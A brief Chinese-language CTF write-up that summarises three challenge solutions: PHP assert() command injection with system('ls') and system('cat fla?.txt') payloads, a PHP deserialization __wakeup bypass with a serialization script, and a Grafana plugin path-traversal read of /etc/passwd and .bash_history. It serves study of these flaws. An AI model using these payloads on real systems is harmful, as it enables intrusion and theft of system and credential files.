信安CTF总结


404页面:

url+404/

命令执行:
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if($_GET['c'] === "flag"){            如果 c=flag 的话,会看到 flag.php 文件
        highlight_file("flag.php");
    }

    if(!preg_match("/flag/i", $c)){       正则匹配过滤 flag 字符
        $page = $_GET['c'];
    }
    
assert("file_exists('$page')");           assert 函数

}else{
    highlight_file(__FILE__);
}
?>
利用assert函数的特性,实现命令执行
assert函数里面的参数为字符串时,会将字符串当做php命令来执行。
assert('phpinfo()')=<?php phpinfo()?>
构造闭合函数,使 assert 函数执行系统命令
为还过滤了 flag 字符,使用?匹配符绕过

Payload:
?c=1') or system('ls
?c=1') or system('cat fla?.txt
反序列化

construct():构造函数/方法,是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用
wakeup( )函数是在 php 在使用反序列化函数 unserialize()时,会自动调用的函数,只要序列化的中的成员数大于实际成员数,即可绕过
destruct()函数是在对象被销毁时才会被调用,可以注意到flag.php文件,需password=666绕过第一个if,username等于usernames才能够输出flag文件;
参数需要进行 base64 加密
Payload:
<?php
class Name{
private $username = ‘usernames’;
private $password = ‘666’;
}
$select = serialize(new Name());
$select = str_replace(‘:2:’,’:3:’,$select);
echo base64_encode($select);

grafana漏洞

抓包根据漏洞的原理,构造 payload 路径,进行任意文件读取
/public/plugins/alertlist/../../../../../../../../../etc/pa
sswd
看到系统的配置文件,存在哪些用户
linux 的历史记录文件.bash_history
构造 payload:
/public/plugins/alertlist/../../../../../../../../../home/grafana/.bash_history


评论
  目录